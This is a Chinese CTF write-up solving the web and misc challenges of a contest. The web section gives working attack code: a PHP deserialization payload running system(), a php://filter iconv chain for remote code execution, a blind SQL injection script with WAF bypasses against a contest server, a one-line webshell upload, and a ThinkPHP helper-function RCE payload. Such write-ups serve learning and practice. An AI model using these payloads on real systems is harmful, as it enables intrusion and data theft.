文章 - 武功山杯web&misc全部题解

前言：
本次比赛个人得分第五名，题目背景新颖结合npc。现给出web&misc全部wp

web

驴友小镇

查看源代码

龙溪秘境

登录测试出账号为test

密码是base64编码

爆破出密码为654321

test:654321

登录得到flag

石能为鼓

一道非常简单的反序列化题目

<?php


class ping {
    protected $xiang;

    function __construct() {
        $this->xiang = new cup();
    }

    function __destruct() {
        $this->xiang->cp();
    }
}

class fun {
    function cp() {
        echo "hello";
    }
}

class cup {
    private $data="system('cat /flag');";
    function cp() {
        eval($this->data);
    }
}

$a = new ping();
echo urlencode(serialize($a));
/*
O%3A4%3A%22ping%22%3A1%3A%7Bs%3A8%3A%22%00%2A%00xiang%22%3BO%3A3%3A%22cup%22%3A1%3A%7Bs%3A9%3A%22%00cup%00data%22%3Bs%3A20%3A%22system%28%27cat+%2Fflag%27%29%3B%22%3B%7D%7D
*/

武功论剑

此题利用php chain

GitHub - synacktiv/php_filter_chain_generator

php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.ISO-8859-14.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp

禅蕴杨岐

通过扫描发现.index.php.swp，泄漏源码。代码如下：

<?php
function contain($str, $a){
    $strpos_res = strpos($str, $a);
    if ($strpos_res){
        return true;
    }
    return false;
}

function lvlarrep($str, $v1){
    $s = str_ireplace($v1, '', $str);
    if (contain($s, $v1)){
        $s = lvlarrep($s, $v1);
    }
    return $s;
}

function waf($str){
    $ban_str = explode(',','select,ascii,sub,con,alter table,delete ,drop ,update ,insert into,load_file,/*,*/,union,<script,</script,sleep(,outfile,eval(,user(,phpinfo(),select*,union%20,sleep%20,select%20,delete%20,drop%20,and%20');
    foreach($ban_str as $v1){
        if (contain($str, $v1)){
            $s = lvlarrep($str, $v1);
            $str = $s;
        }
    }
    $str = str_replace('\'', '&#39;', $str);    // 万恶的单引号，必须转义
    return $str;
}

if (isset($_POST['login'])){
    $db_host = '127.0.0.1';
    $db_user = 'root';
    $db_pass = 'toor';
    $db_name = 'ctf';

    $conn = mysqli_connect($db_host, $db_user, $db_pass, $db_name);
    if (!$conn) {
        die('数据库连接失败！' . mysqli_connect_error());
    }

    $username = waf($_POST['username']);
    $password = waf($_POST['password']);
    $sql = "SELECT * FROM user WHERE `username` = '$username' AND `password` = '$password';";

    $query_result = mysqli_query($conn, $sql);
    if (mysqli_num_rows($query_result) > 0) {
        die('登陆成功！');
    }else{
        die('哦欧！');
    }
}
?>

通过转义符来对username字段后面的引号做转义，逃逸出后面的部分，然后通过大写绕过关键字检测。

import requests  

url = "http://59.62.61.30:49012/"  
sql = 'seLEct PassWord from user '   
FLAG = ''  

for i in range(1, 100):  
    a = 0  
    b = 127  
    c = (a + b) // 2  
    while True:  
        P = {"username": "1\\", "password": f"||asCii(sUBstr(({sql}),{i},1))>{c};\x00", "login": "1"}  
        R = requests.post(url, data=P)  
        if '成功' in R.text:   
            a = c  
            c = (a + b) // 2  
        else:  
            b = c  
            c = (a + b) // 2  

        if c == 1:  
            break  
        elif (b - a) <= 1:  
            FLAG += chr(b)  
            break  

print(FLAG)

龙池古庙

开题就是一个文件上传的按钮

得到路径

然后访问http://59.62.61.30:45163/upload/f929a61f39a47d7c0a32c26078cc9b1a/index.php#/

看到phpinfo 证明可以执行命令

将其改成一句话木马，拿到flag

真君擒龙

<?php
show_source(__FILE__);
$cmd=$_GET['cmd'];
if(isset($cmd)&&strlen($cmd)<6&&!strpos(strtolower($cmd), 'nl')){
    system($cmd);
}else{
  die("no!no!no!");
} no!no!no!

?cmd=od%20/*

恢复脚本

s = "0000000 066146 063541 062173 034546 032064 062070 026464 062462 0000020 032060 032055 062063 026461 062471 031143 061055 062142 0000040 031146 033066 062144 032461 076545 000012 0000053"
print(b''.join(int(ss, 8).to_bytes(2, 'little') for ss in s.split()))

萍水相逢

扫描发现www.zip，下载后得到源码。是通过thinkphp6 框架写的，只实现了一个控制器，就是rce绕waf。

<?php
namespace app\controller;

use app\BaseController;

class Index extends BaseController
{
    public function index()
    {
        $white_fun = array(
            'print'
        );

        if(isset($_GET['code'])){
            $code = $_GET['code'];
            if(preg_match_all('/([\w]+)([\x00-\x1F\x7F\/\*\<\>\%\w\s\\\\]+)?\(/i', $code, $matches1)) {
                foreach ($matches1[1] as $value) {
                    if (function_exists($value) && ! in_array($value, $white_fun)) {
                        echo '加把劲~';
                        exit;
                    }
                }
            }
            if(preg_match('/(new)|(dump)|(content)|(f)|(php)|(base)|(eval)|(assert)|(system)|(exec)|(passthru)|(code)|(chr)|(ord)|(include)|(require)|(request)|(import)|(post)|(get)|(cookie)|(sess)|(server)|(copy)|(hex)|(bin)|( )|(\")|(\/)|(\>)|(\<)|(~)|(\{)|(\})|(\.)|(,)|(`)|(\$)|(_)|(\^)|(!)|(%)|(\+)|(\|)|(dl)|(open)|(mail)|(env)|(ini)|(link)|(url)|(http)|(html)|(conv)|(add)|(str)|(parse)/i', $code)) {
                echo '收手吧阿祖';
                exit;
            }else{
                //var_dump($code);
                eval($code);
            }
        }else{
            return '就挺秃然的。';
        }
    }

    public function hello($name = 'ThinkPHP6')
    {
        return 'hello,' . $name;
    }
}

第一个正则可以通过'phpinfo'();来绕过。

第二个正则可以通过利用thinkphp框架的助手函数来接收get、post参数值，然后再拼接实现rce。

最终poc如下：

/public/?code=((%27input%27)(%27name%27)((%27input%27)(%27name1%27)));&name=system&name1=/readflag

misc

星空栈道

得到elf

执行拿到flag

龙鳞石阶

直接过滤dns流,发现base

再次过滤包含base的dns流

导出分组解析结果

python脚本提取

with open('dns.txt', 'rb') as f:
    for line in f:
        if b".ctf.org.cn: type A, class IN" in line:
            print(line[12:23])

去除重复部分拼接base64解码

铁蹄关隘

steg86 extract .\guess

仙风三宝

根据提⽰计算tcp校验和，发现没有错误的包存在ascii，拼接

浅色部分为正确部分,拼接之后解码得到flag